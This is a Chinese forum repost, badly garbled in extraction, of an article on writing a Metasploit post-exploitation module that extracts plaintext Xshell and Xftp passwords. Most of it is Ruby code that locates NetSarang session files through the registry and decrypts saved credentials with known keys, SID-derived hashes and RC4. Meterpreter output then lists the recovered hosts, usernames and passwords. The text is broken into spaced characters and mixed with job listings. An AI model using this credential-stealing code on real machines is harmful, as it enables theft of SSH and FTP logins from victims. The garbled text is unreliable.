[6921] 2020-09-11_编写Metasploit模块获取Xshell和Xftp明文密码

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-17
2020-09-11_编写Metasploit模块获取Xshell和Xftp明文密码 M e t a s p l o i t X s h e l l X f t p E   2 0 2 0 - 0 9 - 1 1   使 N o . 1 N o . 1 T e a m v i e w e r I D X s h e l l X f t p P y t h o n M e t a s p l o i t ( h t t p s : / / g i t h u b . c o m / H y p e r S i n e / h o w - d o e s - X m a n a g e r - e n c r y p t - p a s s w o r d ) x s h e l l x f t p 5 . 1 6 . 0 N o . 2 N o . 2 s e s s i o n U s e r P r o f i l e s M e t a s p l o i t ( h t t p s : / / w w w . c n b l o g s . c o m / K a l i - T e a m / p / 1 2 5 8 9 6 3 0 . h t m l ) S I D S I D N e t S a r a n g X s h e l l X f t p N e t S a r a n g s e s s i o n s e s s i o n N e t S a r a n g   C o m p u t e r M e t a s p l o i t ( h t t p s : / / w w w . c n b l o g s . c o m / K a l i - T e a m / p / 1 2 5 8 9 6 3 0 . h t m l ) r e g i s t r y _ g e t v a l d a t a e x p a n d _ p a t h 使 e x p a n d _ p a t h s e s s i o n s e s s i o n s e s s i o n 5 . 3 A N S I 6 . 0 U n i c o d e U T F - 8 U n i c o d e   B E   . i n c l u d e   M s f : : P o s t : : W i n d o w s : : U s e r P r o f i l e s p r o f i l e s   =   g r a b _ u s e r _ p r o f i l e s p r o f i l e s . e a c h   d o   | u s e r _ p r o f i l e s |         n e x t   i f   u s e r _ p r o f i l e s [ ' S I D ' ] . n i l ? p a r e n t _ k e y _ 6   =   " H K E Y _ U S E R S #   { u s e r _ p r o f i l e s [ ' S I D ' ] } S o f t w a r e N e t S a r a n g C o m m o n 6 U s e r D a t a " p a r e n t _ k e y _ 5   =   " H K E Y _ U S E R S #   { u s e r _ p r o f i l e s [ ' S I D ' ] } S o f t w a r e N e t S a r a n g C o m m o n 5 U s e r D a t a " n e t _ s a r a n g _ p a t h _ 6   =   e x p a n d _ p a t h ( r e g i s t r y _ g e t v a l d a t a ( p a r e n t _ k e y _ 6 ,   ' U s e r D a t a P a t h ' ) ) n e t _ s a r a n g _ p a t h _ 5   =   e x p a n d _ p a t h ( r e g i s t r y _ g e t v a l d a t a ( p a r e n t _ k e y _ 5 ,   ' U s e r D a t a P a t h ' ) ) d e f   t r y _ e n c o d e _ f i l e ( d a t a )         #   v e r s i o n   6 . 0   T h e   c h a r a c t e r   s e t   o f   t h e   s e s s i o n   f i l e   w i l l   u s e   U n i c o d e         #   v e r s i o n   < =   5 . 3   T h e   c h a r a c t e r   s e t   o f   t h e   s e s s i o n   f i l e   w i l l   u s e   A N S I         i f   d a t a [ 0 ] . u n p a c k ( ' C ' )   = =   [ 2 5 5 ]   & &   d a t a [ 1 ] . u n p a c k ( ' C ' )   = =   [ 2 5 4 ]                 d a t a [ 2 . . - 1 ] . f o r c e _ e n c o d i n g ( ' U T F - 1 6 L E ' ) . e n c o d e ( ' U T F - 8 ' )   #   F F F E   U n i c o d e         e l s i f   d a t a [ 0 ] . u n p a c k ( ' C ' )   = =   [ 2 5 4 ]   & &   d a t a [ 1 ] . u n p a c k ( ' C ' )   = =   [ 1 8 7 ]   & &   d a t a [ 2 ] . u n p a c k ( ' C ' )   = =   [ 1 9 1 ]                 d a t a   #   E F B B B F   U T F - 8         e l s i f   d a t a [ 0 ] . u n p a c k ( ' C ' )   = =   [ 2 5 4 ]   & &   d a t a [ 1 ] . u n p a c k ( ' C ' )   = =   [ 2 5 5 ]         d a t a [ 2 . . - 1 ] . f o r c e _ e n c o d i n g ( ' U T F - 1 6 B E ' ) . e n c o d e ( ' U T F - 8 ' )   #   F E F F   U n i c o d e   B E
x F F x F E U n i c o d e R e x : : P a r s e r : : I n i U T F - 8 i n i r e q u i r e   ' r e x / p a r s e r / i n i ' R e x : : P a r s e r : : I n i . f r o m _ s ( f i l e ) f i l e i n i s e s s i o n 便         d a t a [ 2 . . - 1 ] . f o r c e _ e n c o d i n g ( ' U T F - 1 6 B E ' ) . e n c o d e ( ' U T F - 8 ' )   #   F E F F   U n i c o d e   B E         e l s e                 d a t a         e n d e n d #   p a r s e r   x s h   s e s s i o n   f i l e # #   @ p a r a m   i n i   [ S t r i n g ] #   @ r e t u r n   [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] d e f   p a r s e r _ x s h ( i n i )         v e r s i o n   =   i n i [ ' S e s s i o n I n f o ' ] [ ' V e r s i o n ' ]         p o r t   =   i n i [ ' C O N N E C T I O N ' ] [ ' P o r t ' ]         h o s t   =   i n i [ ' C O N N E C T I O N ' ] [ ' H o s t ' ]         u s e r n a m e   =   i n i [ ' C O N N E C T I O N : A U T H E N T I C A T I O N ' ] [ ' U s e r N a m e ' ]         p a s s w o r d   =   i n i [ ' C O N N E C T I O N : A U T H E N T I C A T I O N ' ] [ ' P a s s w o r d ' ]   | |   n i l         [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] e n d #   p a r s e r   x f p   s e s s i o n   f i l e # #   @ p a r a m   i n i   [ S t r i n g ] #   @ r e t u r n   [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] d e f   p a r s e r _ x f p ( i n i )         v e r s i o n   =   i n i [ ' S e s s i o n I n f o ' ] [ ' V e r s i o n ' ]         p o r t   =   i n i [ ' C o n n e c t i o n ' ] [ ' P o r t ' ]         h o s t   =   i n i [ ' C o n n e c t i o n ' ] [ ' H o s t ' ]         u s e r n a m e   =   i n i [ ' C o n n e c t i o n ' ] [ ' U s e r N a m e ' ]         p a s s w o r d   =   i n i [ ' C o n n e c t i o n ' ] [ ' P a s s w o r d ' ]         [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] e n d #   @ a u t h o r   K a l i - T e a m c l a s s   N e t S a r a n g C r y p t o         a t t r _ a c c e s s o r   : v e r s i o n         a t t r _ a c c e s s o r   : u s e r n a m e         a t t r _ a c c e s s o r   : s i d         a t t r _ a c c e s s o r   : m a s t e r _ p a s s w o r d         a t t r _ a c c e s s o r   : k e y         #   T h i s   c l a s s   i m p l e m e n t s   e n c r y p t i o n   a n d   d e c r y p t i o n   o f   N e t S a r a n g         #         #   @ p a r a m   t y p e   [ S t r i n g ]   o n l y   X s h e l l   o r   X f t p .         #   @ p a r a m   v e r s i o n   [ S t r i n g ]   S p e c i f y   v e r s i o n   o f   s e s s i o n   f i l e .   e . g . : 5 . 3         #   @ p a r a m   u s e r n a m e   [ S t r i n g ]   S p e c i f y   u s e r n a m e .   T h i s   p a r a m e t e r   w i l l   b e   u s e d   i f   v e r s i o n   >   5 . 2 .         #   @ p a r a m   s i d   [ S t r i n g ]   S p e c i f y   S I D .   T h i s   p a r a m e t e r   w i l l   b e   u s e d   i f   v e r s i o n   > =   5 . 1 .         #   @ o p t i o n   m a s t e r _ p a s s w o r d   [ S t r i n g ]   S p e c i f y   u s e r ' s   m a s t e r   p a s s w o r d .         #
b a s e 6 4 H a s h R C 4 D E S A E S N e t S a r a n g S I D k e y R C 4 R C 4 b a s e 6 4 i s _ u t f 8 ? u t f - 8         #   @ r e t u r n   [ R e x : : P a r s e r : : N e t S a r a n g : : N e t S a r a n g C r y p t o ]   T h e   N e t S a r a n g C r y p t o   o b j e c t         d e f   i n i t i a l i z e ( t y p e ,   v e r s i o n ,   u s e r n a m e ,   s i d ,   m a s t e r _ p a s s w o r d   =   n i l )                 s e l f . v e r s i o n   =   v e r s i o n . t o _ f                 s e l f . u s e r n a m e   =   u s e r n a m e                 s e l f . s i d   =   s i d                 s e l f . m a s t e r _ p a s s w o r d   =   m a s t e r _ p a s s w o r d                 m d 5   =   O p e n S S L : : D i g e s t : : M D 5 . n e w                 s h a 2 5 6   =   O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w                 i f   ( s e l f . v e r s i o n   >   0 )   & &   ( s e l f . v e r s i o n   <   5 . 1 )                         s e l f . k e y   =   ( t y p e   = =   ' X s h e l l ' )   ?   m d 5 . d i g e s t ( ' ! X @ s #   h $ e % l ^ l & ' )   :   m d 5 . d i g e s t ( ' ! X @ s #   c $ e % l ^ l & ' )                 e l s i f   ( s e l f . v e r s i o n   > =   5 . 1 )   & &   ( s e l f . v e r s i o n   < =   5 . 2 )                         s e l f . k e y   =   s h a 2 5 6 . d i g e s t ( s e l f . s i d )                 e l s i f   ( s e l f . v e r s i o n   >   5 . 2 )                         i f   s e l f . m a s t e r _ p a s s w o r d . n i l ?                                 s e l f . k e y   =   s h a 2 5 6 . d i g e s t ( s e l f . u s e r n a m e   +   s e l f . s i d )                         e l s e                                 s e l f . k e y   =   s h a 2 5 6 . d i g e s t ( s e l f . m a s t e r _ p a s s w o r d )                         e n d                 e l s e                         r a i s e   ' I n v a l i d   a r g u m e n t :   v e r s i o n '                 e n d         e n d         #   E n c r y p t         #         #   @ p a r a m   s t r i n g   [ S t r i n g ]         #   @ r e t u r n   [ S t r i n g ]   c i p h e r t e x t         d e f   e n c r y p t _ s t r i n g ( s t r i n g )                 c i p h e r   =   R e x : : C r y p t o . r c 4 ( k e y ,   s t r i n g )                 i f   ( v e r s i o n   <   5 . 1 )                         r e t u r n   R e x : : T e x t . e n c o d e _ b a s e 6 4 ( c i p h e r )                 e l s e                         s h a 2 5 6   =   O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w                         c h e c k s u m   =   s h a 2 5 6 . d i g e s t ( s t r i n g )                         c i p h e r t e x t   =   c i p h e r                         r e t u r n   R e x : : T e x t . e n c o d e _ b a s e 6 4 ( c i p h e r t e x t   +   c h e c k s u m )                 e n d         e n d         #   D e c r y p t         #         #   @ p a r a m   s t r i n g   [ S t r i n g ]         #   @ r e t u r n   [ S t r i n g ]   p l a i n t e x t   f a i l e d   r e t u r n   n i l         d e f   d e c r y p t _ s t r i n g ( s t r i n g )                 i f   ( v e r s i o n   <   5 . 1 )                         r e t u r n   R e x : : C r y p t o . r c 4 ( k e y ,   R e x : : T e x t . d e c o d e _ b a s e 6 4 ( s t r i n g ) )                 e l s e                         d a t a   =   R e x : : T e x t . d e c o d e _ b a s e 6 4 ( s t r i n g )                         c i p h e r t e x t   =   d a t a [ 0 ,   d a t a . l e n g t h   -   0 x 2 0 ]                         p l a i n t e x t   =   R e x : : C r y p t o . r c 4 ( k e y ,   c i p h e r t e x t )                         i f   p l a i n t e x t . i s _ u t f 8 ?                                 r e t u r n   p l a i n t e x t                         e l s e                                 r e t u r n   n i l                         e n d                 e n d         e n d e n d
M e t a s p l o i t 线 N o . 3 N o . 3 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 M A S T E R _ P A S S W O R D i f   p l a i n t e x t . i s _ u t f 8 ?     r e t u r n   p l a i n t e x t e l s e     r e t u r n   n i l e n d m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   c r e d s C r e d e n t i a l s = = = = = = = = = = = h o s t     o r i g i n     s e r v i c e     p u b l i c     p r i v a t e     r e a l m     p r i v a t e _ t y p e     J t R   F o r m a t - - - -     - - - - - -     - - - - - - -     - - - - - -     - - - - - - -     - - - - -     - - - - - - - - - - - -     - - - - - - - - - - 1 9 2 . 1 6 8 . 7 6 . 1         1 9 2 . 1 6 8 . 7 6 . 1 3 2     2 1 2 1 / t c p   ( f t p )     l f t p d           l f t p d             P a s s w o r d 1 9 2 . 1 6 8 . 7 6 . 1         1 9 2 . 1 6 8 . 7 6 . 1 3 2     2 1 2 1 / t c p   ( f t p )     l f t p d                                 B l a n k   p a s s w o r d 1 9 2 . 1 6 8 . 7 6 . 1 3 4     1 9 2 . 1 6 8 . 7 6 . 1 3 2     2 2 / t c p   ( s s h )         k t                 1 2 3 4 5 6 m e t e r p r e t e r   >   r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / x s h e l l _ x f t p _ p a s s w o r d   U s e r N a m e :   C : U s e r s A d m i n i s t r a t o r D o c u m e n t s N e t S a r a n g = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = T y p e                   N a m e                                                       H o s t                         P o r t     U s e r N a m e     P l a i n t e x t     P a s s w o r d - - - -                   - - - -                                                       - - - -                         - - - -     - - - - - - - -     - - - - - - - - -     - - - - - - - - X f t p _ V 5 . 3         . x f p                                       1 9 2 . 1 6 8 . 7 6 . 1         2 1 2 1     l f t p d           l f t p d             y h m b 2 7 u 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X f t p _ V 5 . 3         . x f p             1 9 2 . 1 6 8 . 7 6 . 1     2 1 2 1     l f t p d                                 s Q s n G x C 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X s h e l l _ V 6 . 0     . x s h                                         2 2         k t m e t e r p r e t e r   > m e t e r p r e t e r   >   r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / x s h e l l _ x f t p _ p a s s w o r d   M A S T E R _ P A S S W O R D = 1 2 3 4 5 6 U s e r N a m e :   C : U s e r s A d m i n i s t r a t o r D o c u m e n t s N e t S a r a n g = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = T y p e                   N a m e                                                       H o s t                         P o r t     U s e r N a m e     P l a i n t e x t     P a s s w o r d - - - -                   - - - -                                                       - - - -                         - - - -     - - - - - - - -     - - - - - - - - -     - - - - - - - - X f t p _ V 5 . 3         . x f p                                       1 9 2 . 1 6 8 . 7 6 . 1         2 1 2 1     l f t p d           l f t p d             y h m b 2 7 u 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X f t p _ V 5 . 3         . x f p             1 9 2 . 1 6 8 . 7 6 . 1     2 1 2 1     l f t p d           l f t p d             s Q s n G x C 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X s h e l l _ V 6 . 0     . x s h                                         2 2         k t m e t e r p r e t e r   >
N o . 4 N o . 4 - - - - N e t S a r a n g s e s s i o n N e t S a r a n g s e s s i o n h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 3 5 2 5 h t t p s : / / g i t h u b . c o m / H y p e r S i n e / h o w - d o e s - X m a n a g e r - e n c r y p t - p a s s w o r d S R C 1 .     S R C 线 访 2 .     R a n k 3 .     线 4 .     广 5 .         1 .       2 .       3 .       s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 1 1   V I   广 2 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 3 1 9 1   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
W e b   1 3 - 3 0 K 1 + 广 1 . ; 2 . 沿 3 . ; 4 . 5 . W A F b y p a s s 1 . 1 2 . H T T P 3 . C M S 4 . p h p j a v a a s p . n e t 5 . W e b   F u z z 6 . O W A S P   T O P   1 0 7 . W e b 8 . A s p . n e t P y t h o n p h p j a v a 1 . 2 . 3 . C I S S P C I S A C S S L P I S O 2 7 0 0 1 I T I L P M P C O B I T S e c u r i t y + C I S P O S C P 4 . S R C C T F 5 . 6 . 7 . 8 . 稿 1 3 - 3 0 K 2 + 1 . 2 . 3 . 1 . 使 P y t h o n j a v a c / c + + 2 . 使 D j a n g o f l a s k   w e b 使 m y s q l m o n g o D B r e d i s 3 : w e b 4 . 5 . 1 . t c p 2 . g i t h u b 3 : 4 . f r e e b u f
4 . f r e e b u f 5 .   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n G o l a n g 1 3 - 3 0 K 2 + 1 . 2 . 3 . 1 . C / C + + / J a v a / G o / P y t h o n / J a v a S c r i p t 2 . 使 G i n B e e g o E c h o w e b M y S Q L R e d i s M o n g o D B , 3 . d o c k e r 3 . w e b 4 . T C P / I P 5 . 1 . t c p 2 . g i t h u b 3 : 4 . f r e e b u f 5 .   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n E   h t t p s : / / w w w . e a s y a q . c o m 1 0 0   V i s a   7 6 0 W o r d P r e s s   F i l e   M a n a g e r   2 0 2 0 . 0 8 . 3 1 - 2 0 2 0 . 0 9 . 0 6 - 4   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则